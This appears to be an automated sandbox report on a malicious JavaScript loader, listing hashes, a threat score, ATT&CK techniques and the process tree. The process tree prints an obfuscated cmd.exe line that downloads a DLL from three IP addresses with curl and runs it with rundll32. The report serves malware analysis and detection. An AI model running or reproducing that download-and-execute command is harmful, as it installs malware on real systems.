e9496e1917faa5a76678ef0dffb7a9391a9df7a27fe41e341359a381901055ee

Analysis

max time kernel
117s
max time network
122s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 15:12

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General

Target

Lkygmroc.js
Size

204KB
MD5

ce44fba9e65e092ae312176c0fd267db
SHA1

de9d41730933d553d9f8f89d5261a6ae6079ed54
SHA256

a05f3bbcef9ca7a516af4971f2a272fc75770e2f57b3fe99ae363359d8461714
SHA512

780eb23fb84ff07e908908345b29ebd88078def0aba30657f87dac667936e3d959f024769244ad3882db3babaaee398fdefcba0128acb3ce29ce3146ff59e95f
SSDEEP

3072:jFJe7hgqWjPBELA7Ij/Xy8QkbmUca2ReLlWWul5:ZJeWqsBELzLxbmUcvRElXul5

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1928	wscript.exe
5	1928	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
1976	PING.EXE
1964	PING.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1928 wrote to memory of 1768	1928	wscript.exe	28
PID 1928 wrote to memory of 1768	1928	wscript.exe	28
PID 1928 wrote to memory of 1768	1928	wscript.exe	28
PID 1768 wrote to memory of 1976	1768	cmd.exe	30
PID 1768 wrote to memory of 1976	1768	cmd.exe	30
PID 1768 wrote to memory of 1976	1768	cmd.exe	30
PID 1768 wrote to memory of 1964	1768	cmd.exe	31
PID 1768 wrote to memory of 1964	1768	cmd.exe	31
PID 1768 wrote to memory of 1964	1768	cmd.exe	31
PID 1768 wrote to memory of 2208	1768	cmd.exe	32
PID 1768 wrote to memory of 2208	1768	cmd.exe	32
PID 1768 wrote to memory of 2208	1768	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Lkygmroc.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c EYKR19 || ECho x7gL & piNg EI3N0t || CURl http://45.32.80.240/REIsgtf/Chanchttp://66.42.101.54/hsRW8R/Chanchttp://149.248.1.76/Scb/Chanc -o %TMP%\Tabernacular.dll & piNg -n 2 EI3N0t || ruNDlL32 %TmP%\Tabernacular.dll, Excpt & exIT zU1sz9lRzmA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1768
- - C:\Windows\system32\PING.EXE
    piNg EI3N0t
    3⤵
    - Runs ping.exe
    PID:1976
- - C:\Windows\system32\PING.EXE
    piNg -n 2 EI3N0t
    3⤵
    - Runs ping.exe
    PID:1964
- - C:\Windows\system32\rundll32.exe
    ruNDlL32 C:\Users\Admin\AppData\Local\Temp\Tabernacular.dll, Excpt
    3⤵
    PID:2208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab45B9.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

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C:\Users\Admin\AppData\Local\Temp\Tar45DB.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

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